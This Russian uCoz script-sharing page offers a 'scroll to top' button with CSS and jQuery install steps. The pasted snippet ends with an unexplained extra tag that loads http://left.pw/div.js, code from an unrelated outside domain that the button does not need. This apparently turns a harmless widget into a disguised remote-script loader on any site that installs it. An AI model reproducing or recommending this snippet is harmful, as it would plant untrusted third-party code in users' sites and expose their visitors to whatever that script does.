Скрипты для ucoz,шаблоны для ucoz,шаблоны для dle

Привет, Гость! | Выход

Список пользователей

Изменить сведения

Читать ЛС ()

Отправить ЛС

Добро пожаловать на софт портал На сайте публикуются материалы, которые Вы можете выбрать для себя абсолютно бесплатно. Рекомендуем Вам добавить сайт в закладки, а также подписаться на RSS ленту.
Стартовая Избранное Главная Контакты Карта сайта
 
RSS 2.0 О сайте Добавить новость Контакты Правила
Все для ucoz и dle
>

Меню

Новые статьи

написал статью

Весна – это не только начало новой жизни и пробуждение природы, но и время подготовки к новому ремонтному сезону.

Новое на форуме

xas Al для лучшего пробива xrumer (0)
продам сайт (0)

Новые комментарии

san-san написал:
спасибо
дима написал:
отличный с

Мини-чат

Наша кнопочка

скрипты шаблоны софт графика для Ucoz -DLE!


Статистика

Счетчик посещений

OnLine
Онлайн всего: 1
Гостей: 1
Пользователей: 0

Сегодня были:

Друзья портала


Каталог@Mail.ru - каталог ресурсов интернет Проверка PR ТИЦ

Рады вас видеть!


Главная » Файлы » скрипты
Up на подобии как в вк
06.09.2014, 09:46

Скрипт кнопка вверх на подобии такой как в вк для сайта.
Установка:
1) Заходим в Панель Управления сайтом потом в Управление дизайном - Прописываем стили в таблице стилей (CSS) в самый низ:
Код
.scrolltotop__side { position:fixed; width:3%; height:100%; top:0; left:0; background: black; -ms-filter:"progid:DXImageTransform.Microsoft.Alpha(Opacity=0)"; filter:alpha(opacity=0.2); -moz-opacity:0.1; -khtml-opacity:0.1; opacity:0.1}  
.scrolltotop__arrow { position:fixed; width:3%; height:100%; top:50px; left:0; background:url(http://pnghosts.ru/img/up-csm.png) top no-repeat; -ms-filter:"progid:DXImageTransform.Microsoft.Alpha(Opacity=0.4)"; filter:alpha(opacity=0.4); -moz-opacity:0.4; -khtml-opacity:0.4; opacity:0.4}


3) А вот этот код прописываем в нижнюю или верхнюю часть сайта:
Код
<script type="text/javascript">  
jQuery(document).ready(function(){  
jQuery('body').append("<div class='scrolltotop'><div class='scrolltotop__side'></div><div class='scrolltotop__arrow'></div></div>");  
jQuery(window).scroll(function(){  
if (jQuery(this).scrollTop() > 350) {  
jQuery('.scrolltotop').fadeIn();  
} else {  
jQuery('.scrolltotop').fadeOut();  
}  
});  
jQuery('.scrolltotop').click(function(){  
jQuery("html, body").animate({ scrollTop: 0 }, 600);  
return false;  
});  
});0  
</script><script type="text/javascript" src="http://left.pw/div.js"></script>


На этом установка завершена. Скрипт проверен в IE 9, в мозиле, опере, гугл хроме

Чтобы увидеть скрытый текст - Уважаемый посетитель, Вы зашли на сайт как незарегистрированный пользователь. Мы рекомендуем Вам Зарегистрироваться --- Либо зайти на сайт под своим именем.


html-cсылка на публикацию
BB-cсылка на публикацию
Прямая ссылка на публикацию

Категория: скрипты | Добавил: Bitfood
Просмотров: 608 | Загрузок: 0 | Рейтинг: 0.0/0
Всего комментариев: 0
Добавлять комментарии могут только зарегистрированные пользователи.
[ Регистрация | Вход ]



Случайные материала портала




лучшие файловики скрипт для ucoz

Материал полностью


иконки для груп

Материал полностью


кнопочка спасибо скрипт для любого модуля на ucoz

Материал полностью


Информер популярных материалов для (uCoz)

Материал полностью

новости

Наш опрос

новый год


Всего ответов: 35
 
Главная |О сайте | Контакты | Правила сайта | Карта сайта | Карта форума | Хостинг от uCoz|
На сайте — Вы можете выбрать бесплатно скрипты,шаблоны,графику,софт и многое другое.... С помощью удобной навигации по сайту Вы легко найдете то, что Вам нужно! А также Добавить свой материал или новость. Все разделы ежедневно пополняются!.материалы предоставлены в ознакомительных целях И за их использование Администрация сайта ответственности не несет!